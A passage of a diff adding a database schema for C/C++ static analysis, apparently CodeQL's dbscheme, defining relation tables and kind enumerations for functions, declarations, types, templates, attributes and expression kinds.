argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = 